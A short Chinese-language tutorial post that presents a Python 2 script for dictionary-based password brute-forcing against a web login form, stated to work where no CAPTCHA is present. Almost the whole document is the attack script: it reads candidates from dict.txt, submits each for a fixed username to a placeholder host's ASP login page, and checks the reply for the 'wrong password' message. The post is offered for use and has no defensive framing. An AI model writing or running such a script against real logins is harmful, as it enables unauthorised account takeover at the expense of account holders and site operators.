使用python进行密码暴力破解

注：针对没有验证码的情况

实例代码：

#encoding=utf-8
import httplib,urllib
conn = httplib.HTTPConnection("www.xxx.cn")
f=open("dict.txt")
while 1:
    pwd=f.readline().strip()
    if not pwd:
        print '字典已比对完。'
        break
    params = urllib.urlencode({'username': 'xxx', 'mod': '', 'password': pwd})
    headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
    conn.request("GET", "/login/aaa.asp", params, headers)
    r = conn.getresponse()
    print r.status, r.reason
    data1 = r.read().decode('gbk')#编码根据实际情况酌情处理
    print data1.index(u'您输入的密码有误'),'您输入的密码\'%s\'有误'%pwd
conn.close()
